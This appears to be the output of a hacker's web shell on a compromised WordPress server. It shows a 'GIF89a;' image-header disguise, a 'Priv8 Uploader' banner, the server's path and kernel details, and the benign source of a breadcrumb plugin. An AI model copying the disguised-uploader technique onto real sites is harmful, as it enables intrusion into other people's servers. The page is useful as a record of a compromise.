GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
<?php
/*
Plugin Name: Really Simple Breadcrumb
Plugin URI: http://www.christophweil.de
Description: This is a really simple WP Plugin which lets you use Breadcrumbs for Pages!
Version: 1.0.2
Author: Christoph Weil
Author URI: http://www.christophweil.de
Update Server:
Min WP Version: 3.2.1
Max WP Version:
*/
function simple_breadcrumb() {
global $post;
$separator = " ยป "; // Simply change the separator to what ever you need e.g. / or >
echo '<div class="breadcrumb">';
if (!is_front_page()) {
echo '<a href="';
echo get_option('home');
echo '">';
bloginfo('name');
echo "</a> ".$separator;
if ( is_category() || is_single() ) {
the_category(', ');
if ( is_single() ) {
echo $separator;
the_title();
}
} elseif ( is_page() && $post->post_parent ) {
$home = get_page(get_option('page_on_front'));
for ($i = count($post->ancestors)-1; $i >= 0; $i--) {
if (($home->ID) != ($post->ancestors[$i])) {
echo '<a href="';
echo get_permalink($post->ancestors[$i]);
echo '">';
echo get_the_title($post->ancestors[$i]);
echo "</a>".$separator;
}
}
echo the_title();
} elseif (is_page()) {
echo the_title();
} elseif (is_404()) {
echo "404";
}
} else {
bloginfo('name');
}
echo '</div>';
}
?>